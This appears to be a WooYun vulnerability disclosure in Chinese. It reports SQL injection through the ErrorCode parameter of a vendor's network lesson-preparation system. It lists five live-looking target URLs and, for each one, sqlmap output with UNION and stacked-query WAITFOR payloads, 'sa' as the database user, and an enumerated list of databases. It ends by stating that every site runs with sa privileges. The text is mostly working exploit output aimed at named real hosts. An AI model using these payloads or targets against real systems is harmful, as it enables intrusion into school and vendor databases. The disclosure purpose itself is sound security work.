WooYun.org

厂商：南京苏亚星资讯科技开发有限公司
网络备课系统
ErrorCode参数没有过滤，导致注射。
这边需要说明是与这个案例参数相同，但是系统不同，当前数据库也是不同的。 WooYun: 某通用型校园校务系统SQL注入

5个案例证明通用性
http://www.scyahyez.com/Merak/public/asp/ErrorMsg/ShowError.asp?ErrorCode=30004
http://www.suyaxing.com:81/Merak/public/asp/ErrorMsg/ShowError.asp?ErrorCode=30004
http://www.sdwhys.com/Merak/public/asp/ErrorMsg/ShowError.asp?ErrorCode=30004
http://www.lcxyz.com:21245/Merak/public/asp/ErrorMsg/ShowError.asp?ErrorCode=30004
http://www.hwsyxx.com/Merak/public/asp/ErrorMsg/ShowError.asp?ErrorCode=30004
1、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ErrorCode
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: ErrorCode=-4501' UNION ALL SELECT CHAR(58)+CHAR(107)+CHAR(103)+CHAR
(114)+CHAR(58)+CHAR(75)+CHAR(122)+CHAR(86)+CHAR(117)+CHAR(103)+CHAR(120)+CHAR(73
)+CHAR(99)+CHAR(112)+CHAR(77)+CHAR(58)+CHAR(110)+CHAR(103)+CHAR(108)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ErrorCode=30004'; WAITFOR DELAY '0:0:5';--
---
[12:17:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[12:17:29] [INFO] fetching current user
[12:17:33] [INFO] heuristics detected web page charset 'ascii'
[12:17:34] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
[12:17:34] [INFO] fetching current database
current database: 'Merak'
[12:17:38] [INFO] fetching database names
[12:17:43] [INFO] the SQL query used returns 13 entries
[12:17:48] [INFO] retrieved: "Jupiter5"
[12:17:52] [INFO] retrieved: "master"
[12:17:57] [INFO] retrieved: "Merak"
[12:18:02] [INFO] retrieved: "model"
[12:18:06] [INFO] retrieved: "msdb"
[12:18:11] [INFO] retrieved: "ReportServer"
[12:18:16] [INFO] retrieved: "ReportServerTempDB"
[12:18:20] [INFO] retrieved: "SM2005"
[12:18:25] [INFO] retrieved: "SRP2003"
[12:18:30] [INFO] retrieved: "tempdb"
[12:18:34] [INFO] retrieved: "vc2003"
[12:18:39] [INFO] retrieved: "Vod2005"
[12:18:44] [INFO] retrieved: "ws2004"
available databases [13]:
[*] Jupiter5
[*] master
[*] Merak
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SM2005
[*] SRP2003
[*] tempdb
[*] vc2003
[*] Vod2005
[*] ws2004
[12:18:44] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:18:44] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.scyahyez.com'
2、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ErrorCode
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: ErrorCode=-7150' UNION ALL SELECT CHAR(58)+CHAR(106)+CHAR(104)+CHAR
(103)+CHAR(58)+CHAR(84)+CHAR(84)+CHAR(102)+CHAR(85)+CHAR(71)+CHAR(83)+CHAR(78)+C
HAR(90)+CHAR(73)+CHAR(101)+CHAR(58)+CHAR(113)+CHAR(105)+CHAR(116)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ErrorCode=30004'; WAITFOR DELAY '0:0:5';--
---
[12:17:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:17:33] [INFO] fetching current user
[12:17:38] [INFO] heuristics detected web page charset 'ascii'
[12:17:38] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
[12:17:38] [INFO] fetching current database
current database: 'Merak'
[12:17:42] [INFO] fetching database names
[12:17:47] [INFO] the SQL query used returns 23 entries
[12:17:52] [INFO] retrieved: "Jupiter5"
[12:17:56] [INFO] retrieved: "master"
[12:18:01] [INFO] retrieved: "Merak"
[12:18:05] [INFO] retrieved: "model"
[12:18:10] [INFO] retrieved: "msdb"
[12:18:14] [INFO] retrieved: "Northwind"
[12:18:19] [INFO] retrieved: "pubs"
[12:18:23] [INFO] retrieved: "Sco_CRM"
[12:18:28] [INFO] retrieved: "Sco_CSM"
[12:18:32] [INFO] retrieved: "Sco_Document"
[12:18:37] [INFO] retrieved: "Sco_Financial"
[12:18:42] [INFO] retrieved: "Sco_Inventory"
[12:18:46] [INFO] retrieved: "Sco_Personnel"
[12:18:51] [INFO] retrieved: "Sco_Platform"
[12:18:55] [INFO] retrieved: "Sco_Portal"
[12:19:00] [INFO] retrieved: "SM2005"
[12:19:04] [INFO] retrieved: "SRP2003"
[12:19:09] [INFO] retrieved: "tempdb"
[12:19:13] [INFO] retrieved: "TempJupiterSa"
[12:19:18] [INFO] retrieved: "test"
[12:19:23] [INFO] retrieved: "vc2003"
[12:19:27] [INFO] retrieved: "web"
[12:19:32] [INFO] retrieved: "ws2004"
available databases [23]:
[*] Jupiter5
[*] master
[*] Merak
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] Sco_CRM
[*] Sco_CSM
[*] Sco_Document
[*] Sco_Financial
[*] Sco_Inventory
[*] Sco_Personnel
[*] Sco_Platform
[*] Sco_Portal
[*] SM2005
[*] SRP2003
[*] tempdb
[*] TempJupiterSa
[*] test
[*] vc2003
[*] web
[*] ws2004
[12:19:32] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:19:32] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.suyaxing.com'
3、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ErrorCode
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: ErrorCode=-3088' UNION ALL SELECT CHAR(58)+CHAR(122)+CHAR(104)+CHAR
(98)+CHAR(58)+CHAR(113)+CHAR(72)+CHAR(116)+CHAR(68)+CHAR(86)+CHAR(65)+CHAR(114)+
CHAR(82)+CHAR(70)+CHAR(68)+CHAR(58)+CHAR(119)+CHAR(110)+CHAR(97)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ErrorCode=30004'; WAITFOR DELAY '0:0:5';--
---
[12:17:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:17:24] [INFO] fetching current user
[12:17:29] [INFO] heuristics detected web page charset 'ascii'
[12:17:29] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
[12:17:29] [INFO] fetching current database
current database: 'Merak'
[12:17:34] [INFO] fetching database names
[12:17:38] [INFO] the SQL query used returns 14 entries
[12:17:43] [INFO] retrieved: "aaa"
[12:17:47] [INFO] retrieved: "Jupiter5"
[12:17:52] [INFO] retrieved: "master"
[12:17:57] [INFO] retrieved: "Merak"
[12:18:01] [INFO] retrieved: "model"
[12:18:06] [INFO] retrieved: "msdb"
[12:18:10] [INFO] retrieved: "Northwind"
[12:18:15] [INFO] retrieved: "pubs"
[12:18:20] [INFO] retrieved: "SM2005"
[12:18:24] [INFO] retrieved: "SRP2003"
[12:18:29] [INFO] retrieved: "tempdb"
[12:18:34] [INFO] retrieved: "vc2003"
[12:18:38] [INFO] retrieved: "Vod2005"
[12:18:43] [INFO] retrieved: "ws2004"
available databases [14]:
[*] aaa
[*] Jupiter5
[*] master
[*] Merak
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] SM2005
[*] SRP2003
[*] tempdb
[*] vc2003
[*] Vod2005
[*] ws2004
[12:18:43] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:18:43] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.sdwhys.com'
4、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ErrorCode
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: ErrorCode=-6400' UNION ALL SELECT CHAR(58)+CHAR(107)+CHAR(120)+CHAR
(113)+CHAR(58)+CHAR(110)+CHAR(77)+CHAR(122)+CHAR(65)+CHAR(75)+CHAR(100)+CHAR(82)
+CHAR(122)+CHAR(80)+CHAR(70)+CHAR(58)+CHAR(116)+CHAR(100)+CHAR(119)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ErrorCode=30004'; WAITFOR DELAY '0:0:5';--
---
[12:17:02] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[12:17:02] [INFO] fetching current user
[12:17:03] [INFO] heuristics detected web page charset 'ascii'
[12:17:03] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
[12:17:03] [INFO] fetching current database
current database: 'Merak'
[12:17:03] [INFO] fetching database names
[12:17:03] [INFO] the SQL query used returns 13 entries
[12:17:03] [INFO] retrieved: "Jupiter5"
[12:17:03] [INFO] retrieved: "master"
[12:17:04] [INFO] retrieved: "Merak"
[12:17:04] [INFO] retrieved: "model"
[12:17:04] [INFO] retrieved: "msdb"
[12:17:04] [INFO] retrieved: "ReportServer"
[12:17:04] [INFO] retrieved: "ReportServerTempDB"
[12:17:05] [INFO] retrieved: "SM2005"
[12:17:05] [INFO] retrieved: "SRP2003"
[12:17:05] [INFO] retrieved: "tempdb"
[12:17:05] [INFO] retrieved: "vc2003"
[12:17:05] [INFO] retrieved: "Vod2005"
[12:17:05] [INFO] retrieved: "ws2004"
available databases [13]:
[*] Jupiter5
[*] master
[*] Merak
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SM2005
[*] SRP2003
[*] tempdb
[*] vc2003
[*] Vod2005
[*] ws2004
[12:17:06] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:17:06] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.lcxyz.com'
5、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ErrorCode
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: ErrorCode=-7264' UNION ALL SELECT CHAR(58)+CHAR(120)+CHAR(100)+CHAR
(120)+CHAR(58)+CHAR(105)+CHAR(99)+CHAR(110)+CHAR(111)+CHAR(79)+CHAR(77)+CHAR(117
)+CHAR(102)+CHAR(112)+CHAR(74)+CHAR(58)+CHAR(116)+CHAR(102)+CHAR(97)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ErrorCode=30004'; WAITFOR DELAY '0:0:5';--
---
[12:17:10] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:17:10] [INFO] fetching current user
[12:17:14] [INFO] heuristics detected web page charset 'ascii'
[12:17:14] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
[12:17:14] [INFO] fetching current database
current database: 'Merak'
[12:17:19] [INFO] fetching database names
[12:17:24] [INFO] the SQL query used returns 13 entries
[12:17:29] [INFO] retrieved: "Jupiter5"
[12:17:33] [INFO] retrieved: "master"
[12:17:38] [INFO] retrieved: "Merak"
[12:17:42] [INFO] retrieved: "model"
[12:17:47] [INFO] retrieved: "msdb"
[12:17:52] [INFO] retrieved: "Northwind"
[12:17:56] [INFO] retrieved: "pubs"
[12:18:01] [INFO] retrieved: "SM2005"
[12:18:05] [INFO] retrieved: "SRP2003"
[12:18:10] [INFO] retrieved: "tempdb"
[12:18:15] [INFO] retrieved: "vc2003"
[12:18:19] [INFO] retrieved: "Vod2005"
[12:18:24] [INFO] retrieved: "ws2004"
available databases [13]:
[*] Jupiter5
[*] master
[*] Merak
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] SM2005
[*] SRP2003
[*] tempdb
[*] vc2003
[*] Vod2005
[*] ws2004
[12:18:24] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:18:24] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.hwsyxx.com'
全为sa权限